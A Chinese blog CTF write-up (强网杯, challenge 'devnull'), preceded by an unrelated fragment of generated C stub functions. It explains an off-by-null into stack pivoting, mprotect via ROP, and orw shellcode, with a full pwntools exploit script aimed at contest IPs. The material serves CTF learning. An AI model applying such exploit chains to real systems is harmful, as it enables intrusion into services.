void lotu195(int a){};
void lotu196(int a){};
void lotu197(int a){};
void lotu198(int a){};
void lotu199(int a){};
void lotu200(int a){};
void lotu201(int a){};
void lotu202(int a){};
void lotu203(int a){};
void lotu204(int a){};
void lotu205(int a){};
void lotu206(int a){};
void lotu207(int a){};
void lotu208(int a){};
void lotu209(int a){};
void lotu210(int a){};
void lotu211(int a){};
void lotu212(int a){};
void lotu213(int a){};
void lotu214(int a){};
void lotu215(int a){};
void lotu216(int a){};
void lotu217(int a){};
void lotu218(int a){};
void lotu219(int a){};
void lotu220(int a){};
void lotu221(int a){};
void lotu222(int a){};
void lotu223(int a){};
void lotu224(int a){};
void lotu225(int a){};
void lotu226(int a){};
void lotu227(int a){};
void lotu228(int a){};
void lotu229(int a){};
void lotu230(int a){};
void lotu231(int a){};
void lotu232(int a){};
void lotu233(int a){};
void lotu234(int a){};
void lotu235(int a){};
void lotu236(int a){};
void lotu237(int a){};
void lotu238(int a){};
void lotu239(int a){};
void lotu240(int a){};
void lotu241(int a){};
void lotu242(int a){};
void lotu243(int a){};
void lotu244(int a){};
void lotu245(int a){};
void lotu246(int a){};
void lotu247(int a){};
void lotu248(int a){};
void lotu249(int a){};
void lotu250(int a){};
void lotu251(int a){};
void lotu252(int a){};
void lotu253(int a){};
void lotu254(int a){};
void lotu255(int a){};

void gamestart()
{
lotu(0);
lotu1(1);
lotu2(2);
lotu3(3);
lotu4(4);
lotu5(5);
lotu6(6);
lotu7(7);
lotu8(0x6e);
lotu9(9);
lotu10(10);
lotu11(11);
lotu12(12);
lotu13(13);
lotu14(14);
lotu15(15);
lotu16(16);
lotu17(17);
lotu18(18);
lotu19(19);
lotu20(20);
lotu21(21);
lotu22(22);
lotu23(23);
lotu24(24);
lotu25(25);
lotu26(26);
lotu27(27);
lotu28(28);
lotu29(29);
lotu30(30);
lotu31(31);
lotu32(32);
lotu33(33);
lotu34(34);
lotu35(35);
lotu36(36);
lotu37(37);
lotu38(38);
lotu39(39);
lotu40(40);
lotu41(41);
lotu42(42);
lotu43(43);
lotu44(44);
lotu45(45);
lotu46(46);
lotu47(47);
lotu48(48);
lotu49(49);
lotu50(50);
lotu51(51);
lotu52(52);
lotu53(53);
lotu54(54);
lotu55(55);
lotu56(56);
lotu57(57);
lotu58(58);
lotu59(59);
lotu60(60);
lotu61(61);
lotu62(62);
lotu63(63);
lotu64(64);
lotu65(65);
lotu66(66);
lotu67(67);
lotu68(68);
lotu69(69);
lotu70(70);
lotu71(71);
lotu72(72);
lotu73(73);
lotu74(74);
lotu75(75);
lotu76(76);
lotu77(77);
lotu78(0xad);
lotu79(0xfd);
lotu80(0);
lotu81(0);
lotu82(0);
lotu83(0);
lotu84(0);
lotu85(0xcd);
lotu86(86);
lotu87(87);
lotu88(88);
lotu89(89);
lotu90(90);
lotu91(91);
lotu92(92);
lotu93(93);
lotu94(94);
lotu95(95);
lotu96(96);
lotu97(97);
lotu98(98);
lotu99(99);
lotu100(100);
lotu101(101);
lotu102(102);
lotu103(103);
lotu104(104);
lotu105(105);
lotu106(106);
lotu107(107);
lotu108(108);
lotu109(109);
lotu110(110);
lotu111(111);
lotu112(112);
lotu113(113);
lotu114(114);
lotu115(115);
lotu116(116);
lotu117(117);
lotu118(118);
lotu119(119);
lotu120(120);
lotu121(121);
lotu122(122);
lotu123(123);
lotu124(124);
lotu125(125);
lotu126(126);
lotu127(127);
lotu128(128);
lotu129(129);
lotu130(130);
lotu131(131);
lotu132(132);
lotu133(133);
lotu134(134);
lotu135(135);
lotu136(136);
lotu137(137);
lotu138(138);
lotu139(139);
lotu140(140);
lotu141(141);
lotu142(142);
lotu143(143);
lotu144(144);
lotu145(145);
lotu146(146);
lotu147(147);
lotu148(148);
lotu149(149);
lotu150(150);
lotu151(151);
lotu152(152);
lotu153(153);
lotu154(154);
lotu155(155);
lotu156(156);
lotu157(157);
lotu158(158);
lotu159(159);
lotu160(160);
lotu161(161);
lotu162(162);
lotu163(163);
lotu163(163);
lotu164(164);
lotu165(165);
lotu166(166);
lotu167(167);
lotu168(168);
lotu169(169);
lotu170(170);
lotu171(171);
lotu172(172);
lotu173(173);
lotu174(174);
lotu175(175);
lotu176(176);
lotu177(177);
lotu178(178);
lotu179(179);
lotu180(180);
lotu181(181);
lotu182(182);
lotu183(183);
lotu184(184);
lotu185(185);
lotu186(186);
lotu187(187);
lotu188(188);
lotu189(189);
lotu190(190);
lotu191(191);
lotu192(192);
lotu193(193);
lotu194(194);
lotu195(195);
lotu196(196);
lotu197(197);
lotu198(198);
lotu199(199);
lotu200(200);
lotu201(201);
lotu202(202);
lotu203(203);
lotu204(204);
lotu205(205);
lotu206(206);
lotu207(207);
lotu208(208);
lotu209(209);
lotu210(210);
lotu211(211);
lotu212(212);
lotu213(213);
lotu214(214);
lotu215(215);
lotu216(216);
lotu217(217);
lotu218(218);
lotu219(219);
lotu220(220);
lotu221(221);
lotu222(222);
lotu223(223);
lotu224(224);
lotu225(225);
lotu226(226);
lotu227(227);
lotu228(228);
lotu229(229);
lotu230(230);
lotu231(231);
lotu232(232);
lotu233(233);
lotu234(234);
lotu235(235);
lotu236(236);
lotu237(237);
lotu238(238);
lotu239(239);
lotu240(0);
lotu241(241);
lotu242(242);
lotu243(243);
lotu244(244);
lotu245(245);
lotu246(246);
lotu247(247);
lotu248(248);
lotu249(249);
lotu250(250);
lotu251(251);
lotu252(252);
lotu253(253);
lotu254(254);
lotu255(255);
lotu85(0xcd);
lotu78(0xad);
lotu79(0xfd);
lotu8(0x6e);
lotu80(0);
lotu81(0);
lotu82(0);
lotu83(0);
lotu84(0);
fight(0);
}


# 强网先锋

# challenge devnull

3ce54a78-e9a2-4dd5-a12c-0b8f2a2239ea

fgets 长度刚好合适,但是 fgets 会自动添加一个 \x00。所以有 off by null 可以修改 fd。

所以接下来为 read (0,v3,0x2c)。

可以覆盖栈上的 buf 指针以及 rbp,rip。

第一时间考虑栈迁移,不过这道题动用 mprotect 改了所写页的权限为 1,因此不可读。

看看周围唯一可读的就是堆地址。那就爆破。

知道往哪栈迁移之后,我们需要明确栈迁移之后能做什么。首先 close (1)+mprotect 设置页表权限让我们重回代码段不可行。所以栈迁移得一次到位。并且 close (1) 后并不好泄露 libc 基址。

同时程序没开启 pie 保护因此可以利用程序中自带的函数,第一时间想到用 mprotect 改权限然后 shellcode。同时发现栈迁移完 rdx 为 7,直接上 mprotect!

因为 gadget 比较少,用程序自带的原生 shellcode。

4a413475-ec56-40b8-acf4-b2347cd7ef9f

从这里开始可以控制 rsi,但是 rdi 和 rax 关联。

去找 gadget:有一条很好用:

337420a7-7ae3-4f06-8107-3d4f62a6cfe6

用这条控制 rdx 即可。

然后就是 shellcode 调用新的 read,然后 orw,write fd 用 stderr 的 2 即可(这里 read 的 rsi 需要离远一点,不然会崩溃)本来打算直接 getshell 之后用 exec 1&>0 来重定向的,不过不知道为什么这样不可行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pickle import TRUE
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch='amd64'
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
# r = remote('123.56.86.227',20712)
elf = ELF('/mnt/hgfs/ubuntu/qwb/1/devnull')

def pwn():
r.recvuntil(b"please input your filename\n")
r.send(b'a'*0x20)
r.recvuntil(b"Please write the data you want to discard\n")
# gdb.attach(r,'b mprotect')
leave_ret = 0x0000000000401354

gadget = 0x0000000000401351
#0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
mprotect_addr = 0x4012D0
heap_addr = 0xa06000
r.send(b'a'*(0x1c-8)+p64(heap_addr)+p64(heap_addr)+p64(leave_ret))

r.recvuntil(b"please input your new data\n")
rop_chain=[
heap_addr+0x28,
gadget,
heap_addr,
heap_addr,
b'/bin/sh\x00',
heap_addr,
mprotect_addr,
heap_addr,
heap_addr+0x48
]

# shellcode = '''
# mov rdi,0x3fd020
# xor esi, esi # rsi低32位
# xor edx, edx # rdx低32位
# push 0x3b
# pop rax
# syscall
# '''
shellcode='''
mov rsi,rbp
add rsi,0x500
xor rdi,rdi
mov rdx,0x100

syscall
jmp rsi
'''

orw = shellcraft.open('./flag')
orw+= shellcraft.read('rax','rsp',0x100)
orw+= shellcraft.write('2','rsp',0x100)
print(hex(len(asm(shellcode))))
# shellcode = asm(shellcode)
# shellcode = asm(shellcraft.sh()).ljust(0x18,b'\0')
payload = flat(rop_chain)+asm(shellcode)
payload = payload.ljust(0x60,b'\0')
r.send(payload)
# pause()
# print(hex(len(asm(orw))))
r.send(asm(orw))
r.recvuntil(b'{')

r.interactive()

while TRUE:
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
r = remote('47.94.166.51',22861)
try:
pwn()
except EOFError:
r.close()
continue
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝